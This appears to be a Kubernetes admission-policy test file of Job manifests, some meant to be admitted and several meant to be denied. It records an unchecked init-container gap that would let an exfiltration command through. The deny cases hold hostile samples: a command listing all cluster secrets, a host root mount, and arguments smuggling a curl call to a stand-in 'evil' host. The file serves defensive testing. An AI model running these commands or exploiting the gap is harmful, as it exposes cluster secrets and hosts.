# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
# break the very PR that fixes the policy.
apiVersion: batch/v1
kind: Job
metadata:
  name: real-template
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      securityContext:
        runAsNonRoot: true
        runAsUser: 65532
        fsGroup: 65532
      initContainers:
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/bin/bash", "-c"]
          args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
          env:
            - name: CONFORMANCE_GIT_SHA
              value: "0123456789abcdef0123456789abcdef01234567"
            # BY SECRET NAME ONLY — and as env, not as a volume.
            - name: GITEA_USERNAME
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: username }
            - name: GITEA_TOKEN
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: token }
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
      containers:
        - name: chainsaw
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          workingDir: /workspace/src/conformance
          command: ["./run.sh"]
          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
          env:
            - name: CONF_ARTIFACTS
              value: /results
            - name: CONF_EMIT_ARTIFACTS_TGZ
              value: "1"
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
            - { name: results, mountPath: /results }
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
  name: good-run
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-command
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-image
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: docker.io/library/alpine:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: tag-not-digest
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: host-namespaces
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      hostPID: true
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: false
            allowPrivilegeEscalation: true
      volumes:
        - name: workspace
          emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: extra-volume
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: hostroot
          hostPath:
            path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: injected-args
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2", ";", "curl", "http://evil/"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}